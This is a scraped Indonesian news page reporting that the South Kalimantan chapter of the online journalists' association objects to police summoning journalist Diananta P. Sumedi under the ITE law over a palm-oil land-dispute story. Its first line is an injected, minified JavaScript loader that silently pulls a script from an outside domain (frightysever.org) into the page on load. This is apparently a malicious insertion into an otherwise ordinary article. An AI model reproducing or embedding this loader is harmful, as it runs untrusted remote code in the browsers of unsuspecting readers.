(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Ketua Ikatan Wartawan Online (IWO) Kalsel Anang Fadhilah menyesalkan tindakan Direktorat Krimiinal Khusus (Ditreskrimsus) Polda Kalsel yang memanggil Pimpinan Redaksi banjarhits.id (Kumparan.com) yang juga koresponden Tempo Diananta P. Sumedi. Terkait dugaan pelanggaran UU RI No19 tahun 2016 tentang Perubahan atas UU RI No11 tahun 2018 tentang Informasi dan Transaksi Elektronik (UU ITE) dalam Pasal 45 A Ayat (2).
Informasi yang diterima wartawan media ini, menyebutkan surat pemanggilan  dengan Nomor B/SA-2/XI/2019/Ditreskrimsus memanggil Diananta P Sumedi untuk dimintai keterangannya oleh penyidik Rabu (26/11/2019) terkait berita yang telah dimuatnya di banjarhits.id.
“Kami sesalkan adanya pelaporan atas pemberitaan yang telah dimuat di banjarhits.id yang berujung pemanggilan dari Ditreskrimsus Polda Kalsel terhadap Diananta  P. Sumedi yang juga anggota IWO Kalsel,†katanya, Senin (25/11).
Kata Anang, berdasarkan hasil penelusurannya terkait produk jurnalistik yang dibuat anggotanya tersebut adalah murni produk jurnalistik berdasarkan hasil wawancara dengan Sukirman tokoh dayak dari Kotabaru yang juga Ketua Kaharingan Kotabaru. “Yang menjadi pertanyaan mengapa berita ini dituduh melanggar UU ITE. Bahkan menilai isi pemberitaannya berbahaya dan mengandung unsur SARA,†ujarnya.
Anang meminta Ditreskrimsus Polda Kalsel jangan cepat-ceaat mengambil tindakaan wartawan banjarhits.id berpotensi melanggar hukum karena isi beritanya berpotensi menimbulkan SARA. “Isi berita bukan opini atau dikarang oleh wartawan banjarhits, tapi berdasarkan hasil wawancara terkait sengketa lahan perkebunan kelapa sawit,†katanya.
IWO Kalsel mendesak agar Polda Kalsel bisa objektif dan adil dalam melihat persoalan ini, karena wartawan sendiri bekerja berdasarkan UU Pers, sehingga jika terjadi sanggahan atau proites dari pihak nara sumber tentu bisa diselesaikan lewat UU Pers bukan UU ITE.
“Penyelesaiannya harus lewat mekanisme UU Pers, bukan malah akan dijerat lewat UU ITE, kasus ini mengingatkan kasus yang menjerat almarhum M Yusuf wartawan Sinar Pagi Minggu yang tewas di penjara. Dimana Yusuf pernah membuat berita soal sengketa lahan di Kotabaru beberapa saat lalu,†katanya.
Sementara, Polda Kalsel melakukan pemanggilan wartawan banjarhits yang juga anggota IWO Kalsel terkait isi berita yang ada di banjarhits.id. Yang dilaporkan oleh Majelis Adat Dayak, Ketua Kerukunan Keluarga Sulawesi Kalsel, Ketua Dewan Adat Dayak Kotabaru, Ketua Dewan Adat Dayak Tapin. Dengan judul berita tanggal 8 Nopember 2019 dengan judul “Tanah Dirampas Jhonlin, Dayak Mengadu ke Polfa Kalel. Isi berita yang dipersoalkan berpotensi menimbulkan SARA. (anang)
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
This website uses cookies.